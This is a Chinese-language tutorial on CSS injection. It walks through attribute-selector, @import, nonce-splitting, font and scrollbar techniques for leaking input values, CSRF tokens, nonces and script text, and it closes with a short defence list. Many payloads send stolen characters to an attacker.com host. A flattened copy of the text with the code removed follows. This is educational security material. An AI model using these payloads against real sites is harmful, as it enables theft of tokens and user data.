CSS Injection 从入门到精通
字数 1677 2025-08-22 12:22:54

CSS Injection 从入门到精通

1. 基础概念

CSS Injection 是一种利用 CSS Selectors 匹配和选择页面元素的功能来实现页面信息泄露的攻击技术。通过精心构造的 CSS 选择器和属性,攻击者可以逐步获取页面中的敏感信息,如表单值、CSRF token、meta 标签内容等。

2. 基础用法

2.1 基本泄露原理

假设目标页面上存在以下内容:

<input value="somevalue" type="text">

要获取 input 元素的 value 值,可以构造如下 CSS:

input[value^=a] { background-image: url(https://attacker.com/?value=a); }
input[value^=b] { background-image: url(https://attacker.com/?value=b); }
/* ... */
input[value^=9] { background-image: url(https://attacker.com/?value=9); }

value^=X 是一个 CSS 选择器表达式,匹配所有 value 属性以 X 开头的 input 元素。当匹配成功时,浏览器会加载指定的背景图片,向攻击者的服务器发送请求。

2.2 逐步泄露完整值

  1. 首先检测第一个字符:
    • 如果服务器收到 attacker.com/?value=s 请求,说明 value 以 "s" 开头
  2. 然后检测第二个字符:
    input[value^=sa] { background-image: url(https://attacker.com/?value=sa); }
    input[value^=sb] { background-image: url(https://attacker.com/?value=sb); }
    /* ... */
    
  3. 重复此过程,直到获取完整值 somevalue

3. 优化技术

3.1 减少规则数量

使用 value*=X 表达式可以匹配任何包含 X 字符的元素,从而减少所需的规则数量:

input[value*="a"] { background-image: url(https://attacker.com/?char=a); }

3.2 加速泄露

同时使用前缀和后缀选择器,一次泄露两个字符:

input[name="secret"][value^="a"] { background: url(https://attacker.com/prefix?a); }
input[name="secret"][value$="a"] { border-background: url(https://attacker.com/suffix?a); }

注意:前后缀选择器需要使用不同的属性(如 background 和 border-background),避免样式覆盖。

4. 特殊元素的信息泄露

4.1 meta 标签泄露

meta 标签默认不可见,需要先使其可见:

head, meta { display: block; }
meta[name="csrf-token"][content^="a"] { background: url(https://attacker.com/?q=a); }

4.2 绕过 type=hidden 限制

对于隐藏的 input 元素:

<input type="hidden" name="csrf-token" value="abc123">

4.2.1 使用同级组合器

input[type=hidden][value^="a"] + input { background: url(https://attacker.com/?q=a); }

4.2.2 使用 :has 选择器

form:has(input[name="csrf-token"][value^="a"]) { background: url(https://attacker.com/?q=a); }

5. 实时更新 Style 的信息泄露

对于动态更新的内容(如 HackMD 的 CSRF token):

  1. 准备泄露第一个字符的 CSS Payload
  2. 受害者打开页面
  3. 服务器收到第一个字符的请求
  4. 更新内容为泄露第二个字符的 Payload
  5. 重复直到获取完整信息

6. @import 递归导入

用于绕过有效负载长度限制和避免页面重新加载:

6.1 基本原理

  1. 注入 @import 规则
  2. 暂存有效负载用于 @import
  3. 对恶意有效负载进行长轮询

6.2 示例

初始 Payload:

<style>@import url(http://attacker.com/staging?len=32);</style>

长轮询 Payload(第0位):

input[name=xsrf][value^=a] { background: url(http://attacker.com/exfil?t=a); }
input[name=xsrf][value^=b] { background: url(http://attacker.com/exfil?t=b); }
/* ... */

6.3 注意事项

  • 浏览器对同一域名的并发请求有限制,可以使用多个子域名
  • Firefox 需要特殊处理,同时发送多个 @import

7. 并行泄露组合

当 CSP 限制 style-src 时使用的方法:

7.1 nonce 切割

将目标 nonce 切割成多个3字符的子串并行泄露:

script[nonce*="abc"] { --abc: url("//attacker.com/abc") }
script[nonce*="bcd"] { --bcd: url("//attacker.com/bcd") }
script { 
  background-image: 
    cross-fade(var(--abc, none), 
    cross-fade(var(--bcd, none), none, 50%), 50%); 
}

7.2 nonce 复原算法

  1. 找到开头的3字符子串
  2. 通过末尾两字符匹配连接子串
  3. 重复直到连接所有子串

8. 页面内容泄露

8.1 unicode-range 方法

@font-face {
  font-family: "f1";
  src: url(https://attacker.com?q=1);
  unicode-range: U+31;
}
div {
  font-family: f1, f2, f3;
}

局限性:无法确定字符顺序和重复情况。

8.2 字体高度差异 + first-line + scrollbar

  1. 找到高度不同的内置字体(如 Comic Sans MS 和 Courier New)
  2. 设置固定高度容器
  3. 使用 ::first-line 选择器逐字符检测
  4. 通过 scrollbar 的出现发送请求

8.3 连字 + scrollbar

  1. 创建自定义连字字体(如 "ab" 连字)
  2. 设置固定宽度容器
  3. 连字出现时内容变宽,触发 scrollbar
  4. 通过 scrollbar 背景发送请求

8.3.1 泄露 JavaScript 代码

head, script { display: block; }
script {
  font-family: "hack";
  white-space: nowrap;
  overflow-x: auto;
  width: 500px;
}
script::-webkit-scrollbar { background: url(https://attacker.com?q=leak); }

9. 防御措施

  1. 实施严格的 CSP 策略,限制 style-src
  2. 避免将敏感信息存储在 DOM 属性中
  3. 对用户提供的 CSS 进行严格过滤
  4. 使用 nonce 或 hash 限制内联样式
  5. 定期进行安全审计,检查潜在的 CSS 注入漏洞

10. 工具和资源

  • sic:CSS 注入利用工具
  • FontForge:用于创建自定义连字字体
  • 参考来源:Black Hat Asia 2023、0CTF/TCTF 2023 等安全会议资料
CSS Injection 从入门到精通 1. 基础概念 CSS Injection 是一种利用 CSS Selectors 匹配和选择页面元素的功能来实现页面信息泄露的攻击技术。通过精心构造的 CSS 选择器和属性,攻击者可以逐步获取页面中的敏感信息,如表单值、CSRF token、meta 标签内容等。 2. 基础用法 2.1 基本泄露原理 假设目标页面上存在以下内容: 要获取 input 元素的 value 值,可以构造如下 CSS: value^=X 是一个 CSS 选择器表达式,匹配所有 value 属性以 X 开头的 input 元素。当匹配成功时,浏览器会加载指定的背景图片,向攻击者的服务器发送请求。 2.2 逐步泄露完整值 首先检测第一个字符: 如果服务器收到 attacker.com/?value=s 请求,说明 value 以 "s" 开头 然后检测第二个字符: 重复此过程,直到获取完整值 somevalue 3. 优化技术 3.1 减少规则数量 使用 value*=X 表达式可以匹配任何包含 X 字符的元素,从而减少所需的规则数量: 3.2 加速泄露 同时使用前缀和后缀选择器,一次泄露两个字符: 注意:前后缀选择器需要使用不同的属性(如 background 和 border-background),避免样式覆盖。 4. 特殊元素的信息泄露 4.1 meta 标签泄露 meta 标签默认不可见,需要先使其可见: 4.2 绕过 type=hidden 限制 对于隐藏的 input 元素: 4.2.1 使用同级组合器 4.2.2 使用 :has 选择器 5. 实时更新 Style 的信息泄露 对于动态更新的内容(如 HackMD 的 CSRF token): 准备泄露第一个字符的 CSS Payload 受害者打开页面 服务器收到第一个字符的请求 更新内容为泄露第二个字符的 Payload 重复直到获取完整信息 6. @import 递归导入 用于绕过有效负载长度限制和避免页面重新加载: 6.1 基本原理 注入 @import 规则 暂存有效负载用于 @import 对恶意有效负载进行长轮询 6.2 示例 初始 Payload: 长轮询 Payload(第0位): 6.3 注意事项 浏览器对同一域名的并发请求有限制,可以使用多个子域名 Firefox 需要特殊处理,同时发送多个 @import 7. 并行泄露组合 当 CSP 限制 style-src 时使用的方法: 7.1 nonce 切割 将目标 nonce 切割成多个3字符的子串并行泄露: 7.2 nonce 复原算法 找到开头的3字符子串 通过末尾两字符匹配连接子串 重复直到连接所有子串 8. 页面内容泄露 8.1 unicode-range 方法 局限性:无法确定字符顺序和重复情况。 8.2 字体高度差异 + first-line + scrollbar 找到高度不同的内置字体(如 Comic Sans MS 和 Courier New) 设置固定高度容器 使用 ::first-line 选择器逐字符检测 通过 scrollbar 的出现发送请求 8.3 连字 + scrollbar 创建自定义连字字体(如 "ab" 连字) 设置固定宽度容器 连字出现时内容变宽,触发 scrollbar 通过 scrollbar 背景发送请求 8.3.1 泄露 JavaScript 代码 9. 防御措施 实施严格的 CSP 策略,限制 style-src 避免将敏感信息存储在 DOM 属性中 对用户提供的 CSS 进行严格过滤 使用 nonce 或 hash 限制内联样式 定期进行安全审计,检查潜在的 CSS 注入漏洞 10. 工具和资源 sic :CSS 注入利用工具 FontForge:用于创建自定义连字字体 参考来源:Black Hat Asia 2023、0CTF/TCTF 2023 等安全会议资料